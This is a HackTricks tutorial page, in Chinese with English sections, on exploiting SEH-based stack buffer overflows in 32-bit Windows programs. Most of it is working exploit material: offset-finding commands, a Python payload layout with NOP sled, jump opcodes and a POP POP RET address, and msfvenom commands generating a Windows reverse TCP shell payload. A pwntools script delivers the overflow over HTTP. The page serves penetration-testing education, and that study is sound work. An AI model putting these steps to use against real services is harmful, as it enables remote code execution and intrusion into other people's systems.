Windows 基于 SEH 的堆栈溢出利用 (nSEH/SEH)
Reading time: 8 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
SEH-based exploitation 是一种经典的 x86 Windows 技术,滥用存储在栈上的结构化异常处理程序链 (Structured Exception Handler chain)。当一次栈缓冲区溢出覆盖了两个 4 字节字段时:
- nSEH: 指向下一个 SEH 记录的指针,和
- SEH: 指向异常处理函数的指针
攻击者可以通过以下方式接管执行流程:
- 将 SEH 设置为位于非受保护模块中的一个 POP POP RET gadget 的地址,这样在异常分发时该 gadget 会返回到攻击者可控的字节,和
- 使用 nSEH 重定向执行(通常是一个短跳)回到包含 shellcode 的大溢出缓冲区中。
该技术特定于 32-bit 进程 (x86)。在现代系统上,优先选择没有 SafeSEH 和 ASLR 的模块来寻找 gadget。由于 C-strings 和 HTTP 解析,常见的坏字符通常包括 0x00, 0x0a, 0x0d (NUL/CR/LF)。
Finding exact offsets (nSEH / SEH)
- 令进程崩溃并验证 SEH 链是否被覆盖(例如在 x32dbg/x64dbg 中,检查 SEH 视图)。
- 发送一个 cyclic pattern 作为溢出数据,并计算落在 nSEH 和 SEH 的两个 dwords 的偏移量。
Example with peda/GEF/pwntools on a 1000-byte POST body:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
通过在这些位置放置标记来验证(例如,nSEH=b"BB", SEH=b"CC")。保持总长度不变以使崩溃可复现。
Choosing a POP POP RET (SEH gadget)
你需要一个 POP POP RET 序列来展开 SEH 框架并返回到你的 nSEH 字节。把它找在没有 SafeSEH 的模块中,最好也没有 ASLR:
- Mona (Immunity/WinDbg):
!mona modules
then!mona seh -m modulename
. - x64dbg plugin ERC.Xdbg:
ERC --SEH
to list POP POP RET gadgets and SafeSEH status.
选择一个在以 little-endian 写入时不包含 badchars 的地址(例如,p32(0x004094D8)
)。如果保护允许,优先选择位于 vulnerable binary 内的 gadgets。
Jump-back technique (short + near jmp)
nSEH is only 4 bytes, which fits at most a 2-byte short jump (EB xx
) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.
With nasmshell:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
针对 1000-byte payload 且 nSEH 在 offset 660 的布局思路:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
执行流程:
- 发生异常,dispatcher 使用被覆盖的 SEH。
- POP POP RET 会展开并进入我们的 nSEH。
- nSEH 执行
jmp short -8
跳入那个 5-byte near jump。 - Near jump 落在我们缓冲区的起始处,那里放着 NOP sled + shellcode。
坏字符
构建完整的 badchar 字符串并在崩溃后比较栈内存,移除被目标解析器破坏的字节。对于 HTTP-based overflows,\x00\x0a\x0d
几乎总是被排除。
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Shellcode 生成 (x86)
使用 msfvenom 并带上你的 badchars。一个小的 NOP sled 有助于容忍落点偏差。
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
如果动态生成,hex 格式便于在 Python 中嵌入并进行 unhex:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
Delivering over HTTP (precise CRLF + Content-Length)
当易受攻击的向量是 HTTP 请求体时,构造一个原始请求,使用精确的 CRLF 和 Content-Length,使服务器读取整个溢出的请求体。
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
工具
- x32dbg/x64dbg 用于观察 SEH 链并对崩溃进行定位和分析。
- ERC.Xdbg (x64dbg 插件) 用于枚举 SEH gadgets:
ERC --SEH
. - Mona 作为替代:
!mona modules
,!mona seh
. - nasmshell 用于汇编 short/near jumps 并复制原始操作码。
- pwntools 用于制作精确的网络 payloads。
注意事项与限制
- 仅适用于 x86 进程。x64 使用不同的 SEH 机制,基于 SEH 的利用通常不可行。
- 优先在没有 SafeSEH 和 ASLR 的模块中寻找 gadgets;否则,寻找已加载到进程中的未受保护模块。
- 会在崩溃后自动重启的服务 watchdogs 可以让迭代式 exploit 开发更加方便。
References
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)
- Corelan – Exploit writing tutorial part 7 (SEH)
- Mona.py – WinDbg/Immunity helper
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。